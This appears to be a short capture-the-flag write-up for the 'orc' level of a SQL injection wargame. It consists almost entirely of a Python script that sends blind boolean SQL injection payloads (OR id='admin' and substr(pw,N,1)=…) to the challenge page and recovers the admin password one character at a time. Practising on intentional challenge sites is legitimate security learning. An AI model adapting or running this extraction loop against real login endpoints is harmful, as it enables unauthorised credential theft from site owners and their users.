[LOS] - orc - 190825

1. orc.py

import requests
 
URL = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php'
password = ''
index=0
 
while True:
        
        isit = False
        index += 1
        print('[+]Finding Password index : %d'%index)
        for i in range(0x21, 0x7f):
                query = 'a\'OR id=\'admin\' and substr(pw,' + str(index) + ',1)=\'' + chr(i)+'\'#'
                paramDic ={
                        'pw':
                        query  
                        }
                print('[*]Sending Query : %s'%query)
                headers = {'Content-Type': 'application/json; charset=utf-8'}
                cookies = {'PHPSESSID':'sessionID'}
                
                response = requests.get(URL, params=paramDic, headers=headers, cookies=cookies)
                
                if "Hello admin" in response.text:
                        password += chr(i)
                        isit = True        
                        print('[+]Find Password : %s Index : %d' %(chr(i), index))
                        break
        if isit is False:
                break
        
print('[+]Password : %s'%password)